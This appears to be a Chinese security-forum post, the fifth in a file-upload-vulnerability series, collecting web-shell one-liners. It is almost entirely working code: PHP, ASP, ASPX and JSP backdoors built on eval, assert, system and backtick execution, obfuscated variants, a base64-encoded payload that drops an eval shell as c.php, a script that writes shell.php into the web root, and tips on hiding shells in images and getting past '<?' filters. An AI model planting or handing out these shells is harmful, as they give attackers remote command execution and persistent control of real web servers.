文件上传漏洞（五）一句话合集

<?php eval（$_POST1);?>  
 <?php if(isset($_POST['c'])){eval（$_POST['c']);}?>  
 <?php system($_REQUEST1);?>  
 <?php ($_=@$_GET1).@$_($_POST1)?>  
 <?php eval_r($_POST1)?>  
 <?php @eval_r($_POST1)?>//容错代码  
 <?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句  
 <?$_POST['c']($_POST['cc']);?>  
 <?$_POST['c']($_POST['cc'],$_POST['cc'])?>  
 <?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>  
 <?php echo `$_GET['r']` ?>  
 //绕过<?限制的一句话  
 <script language="php">@eval_r($_POST[sb])</script>

<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>  
 提交客户端  
 <form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>  
 ASPX一句话  
 <script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script>  
 
 再补充几个：
 
 推荐还是把一句话加进图片里面去。  
 普通的php一句话：<?php @eval（$_POST['r00ts']);?>  
 普通的asp一句话：<%eval（Request.Item["r00ts"],”unsafe”);%>  
 aspx突破一流的：  
 [code]  
 dim da  
 set fso=server.createobject("scripting.filesystemobject")  
 path=request("path")  
 if path<>"" then  
 data=request("da")  
 set da=fso.createtextfile(path,true)  
 da.write data  
 if err=0 then  
 Response.Write "yes"  
 else  
 Response.Write "no"  
 end if  
 err.clear  
 end if  
 set da=nothing  
 set fos=nothing  
 Response.Write "<form action=" method=post>"  
 Response.Write "<input type=text name=path>"  
 Response.Write "<br>"  
 Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))  
 Response.Write "<br>"  
 Response.Write "操作系统为:"&Request.ServerVariables("OS")  
 Response.Write "<br>"  
 Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")  
 Response.Write "<br>"  
 Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"  
 Response.Write "<br>"  
 Response.Write "<input type=submit value=save>"  
 Response.Write "</form>"  
 </Script>

<?php @eval（$_POST['cmd'])?>

<?php assert($_POST[cmd]);?>

<?=`$_GET[1]`;//<?=`*`;

<?php
//?a=assert&b=phpinfo();
@$_GET[a](@$_GET[b]);
//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
?>

<?php
//?2=system POST:1=whoami
//2=assert 1=phpinfo();
($_=@$_GET[2]).@$_($_POST[1])//?2=assert 1
?>

<?php
//?a=system&b=dir
//?a=assert&b=phpinfo();
//?a=assert&b=eval（$_POST['pass'])
//POST:
//  a=assert&b=phpinfo();
//  a=system&b=whoami
//GET:
//  http://127.0.0.1/fuckdun/yjh_2.php?a=assert&b=phpinfo();
//phpinfo(); == fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29;
//生成 c.php <?php @eval（$_POST[c]);
$_REQUEST['a']($_REQUEST['b']);
?>

<?php
$root=$_SERVER['DOCUMENT_ROOT'];
$shelladdr=$root.'/shell.php';
$shellcontent='<?php@eval（$_POST["cmd"]);?>';
file_put_contents($shelladdr,$shellcontent);
//http://127.0.0.1/write_shell.php?cmd=file_put_contents("a.txt","w");
//http://127.0.0.1/write_shell.php?cmd=fwrite(fopen("a.txt","w"),"aa");
//$a = @$_GET['cmd'];
//@eval（$a);
?>

<script language="php">@eval（$_POST['cmd']);</script>

<?php
$filename=$_GET['id'];
include($filename);
?>

<?php
if($_POST['token']=='xxoo'){
require'flag.png';//phpinfo();
}

<?php
$content=stripslashes($_POST[1]);
eval（$content);
?>

<?php
${"func"}=substr(__FILE__,-10,-4);
${"config"}=@$_GET[config];
@$func($config);

<?php
${"function"}=substr(__FILE__,-15,-4);
${"config"}=assert;
$config($function);
//$func = @$_POST[cmd];
//assert($function);
//assert($_POST[cmd]);